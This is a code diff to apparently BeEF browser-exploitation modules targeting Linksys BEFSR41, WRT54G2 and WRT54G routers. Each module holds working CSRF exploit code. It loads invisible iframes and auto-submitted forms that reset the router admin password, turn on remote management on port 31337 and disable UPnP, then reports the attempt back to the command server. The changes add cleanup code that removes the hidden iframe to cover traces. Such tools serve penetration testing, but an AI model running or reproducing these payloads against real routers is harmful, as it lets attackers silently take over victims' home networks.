diff --git a/modules/router/linksys_befsr41_csrf/command.js b/modules/router/linksys_befsr41_csrf/command.js index dca74aa47..cb7d19eb5 100644 --- a/modules/router/linksys_befsr41_csrf/command.js +++ b/modules/router/linksys_befsr41_csrf/command.js @@ -14,7 +14,15 @@ // limitations under the License. // beef.execute(function() { - var iframe = beef.dom.createInvisibleIframe(); - iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); + + var befsr41_iframe = beef.dom.createInvisibleIframe(); + befsr41_iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(befsr41_iframe); + } + setTimeout("cleanup()", 15000); + }); + diff --git a/modules/router/linksys_befsr41_csrf/module.rb b/modules/router/linksys_befsr41_csrf/module.rb index 0d0684ac5..40dcaa4dc 100644 --- a/modules/router/linksys_befsr41_csrf/module.rb +++ b/modules/router/linksys_befsr41_csrf/module.rb @@ -17,7 +17,7 @@ class Linksys_befsr41_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'}, {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ] diff --git a/modules/router/linksys_wrt54g2_csrf/command.js b/modules/router/linksys_wrt54g2_csrf/command.js index f98992afb..036a25aab 100644 --- a/modules/router/linksys_wrt54g2_csrf/command.js +++ b/modules/router/linksys_wrt54g2_csrf/command.js @@ -20,7 +20,7 @@ beef.execute(function() { var target = gateway + "Manage.tri"; - var iframe = beef.dom.createInvisibleIframe(); + var wrt54g2_iframe = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); form.setAttribute('action', target); @@ -100,8 +100,15 @@ beef.execute(function() { input.setAttribute('value', 'en'); form.appendChild(input); - iframe.contentWindow.document.body.appendChild(form); + wrt54g2_iframe.contentWindow.document.body.appendChild(form); form.submit(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(wrt54g2_iframe); + } + setTimeout("cleanup()", 15000); + }); + diff --git a/modules/router/linksys_wrt54g2_csrf/module.rb b/modules/router/linksys_wrt54g2_csrf/module.rb index 7f0325e7d..94f5d6ed0 100644 --- a/modules/router/linksys_wrt54g2_csrf/module.rb +++ b/modules/router/linksys_wrt54g2_csrf/module.rb @@ -17,7 +17,7 @@ class Linksys_wrt54g2_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'}, {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ] diff --git a/modules/router/linksys_wrt54g_csrf/command.js b/modules/router/linksys_wrt54g_csrf/command.js index 55a5bf747..456922d35 100644 --- a/modules/router/linksys_wrt54g_csrf/command.js +++ b/modules/router/linksys_wrt54g_csrf/command.js @@ -20,7 +20,7 @@ beef.execute(function() { var target = gateway + "manage.tri"; - var iframe = beef.dom.createInvisibleIframe(); + var wrt54g_iframe = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); form.setAttribute('action', target); @@ -100,8 +100,15 @@ beef.execute(function() { input.setAttribute('value', 'en'); form.appendChild(input); - iframe.contentWindow.document.body.appendChild(form); + wrt54g_iframe.contentWindow.document.body.appendChild(form); form.submit(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(wrt54g_iframe); + } + setTimeout("cleanup()", 15000); + }); + diff --git a/modules/router/linksys_wrt54g_csrf/module.rb b/modules/router/linksys_wrt54g_csrf/module.rb index 2d1b45f2c..47ee87039 100644 --- a/modules/router/linksys_wrt54g_csrf/module.rb +++ b/modules/router/linksys_wrt54g_csrf/module.rb @@ -17,7 +17,7 @@ class Linksys_wrt54g_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'}, {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ]